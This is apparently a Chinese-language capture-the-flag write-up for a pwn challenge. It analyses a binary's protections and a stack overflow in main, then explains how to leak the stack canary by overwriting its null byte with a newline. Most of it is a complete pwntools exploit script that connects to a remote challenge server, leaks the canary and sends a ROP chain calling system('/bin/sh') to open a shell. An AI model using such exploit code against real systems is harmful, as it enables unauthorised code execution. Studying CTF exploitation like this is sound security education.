checksec:
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
main函数如下:
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf; // [rsp+10h] [rbp-240h]
char v5; // [rsp+40h] [rbp-210h]
unsigned __int64 v6; // [rsp+248h] [rbp-8h]
v6 = __readfsqword(0x28u);
init();
write(1, "Welcome!\n", 0x10uLL);
write(1, "Please leave your name(Within 36 Length):", 0x29uLL);
read(0, &buf, 0x300uLL);
printf("Hello %s\n", &buf, argv);
write(1, "Please leave a message(Within 0x200 Length):", 0x2CuLL);
read(0, &v5, 0x300uLL);
printf("your message is :%s \nBye~", &v5);
return 0;
}
有很明显的栈溢出,但是因为开启了保护,无法直接利用,必须要把canary的值泄露出来。
另外,hint()中有个可调用的system函数:

canary的值在rbp-8里:

将canary低位的 ‘\x00’ 给覆盖掉让它泄露出来即可。
用sendline()末尾自动添加的换行符把00替换成0a,由于不存在00截断,可以泄露canary。
from pwn import *
elf = ELF('./pwn4_')
local = 0
if local == 1:
io = process('./pwn4_')
gdb.attach(io,'b * 0x4008EA')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
io = remote('114.67.246.176',14415)
#libc = ELF('./libc6_2.27-3ubuntu1_amd64.so')
ret = 0x0000000000400611
pop_rdi_ret = 0x0000000000400963
system_addr = 0x40080C
binsh = 0x0000000000601068
payload = 'a'*(0x240-8-len('shawroot'))+'shawroot'
io.recvuntil("36 Length):")
io.sendline(payload)
io.recvuntil("shawroot\n")
canary_addr = u64('\x00'+io.recv(7))
print(hex(canary_addr))
io.recvuntil("0x200 Length):")
payload2 = 'a'*(0x210-8)+p64(canary_addr)+p64(0xdeadbeef)+p64(pop_rdi_ret)+p64(binsh)+p64(system_addr)
io.sendline(payload2)
io.interactive()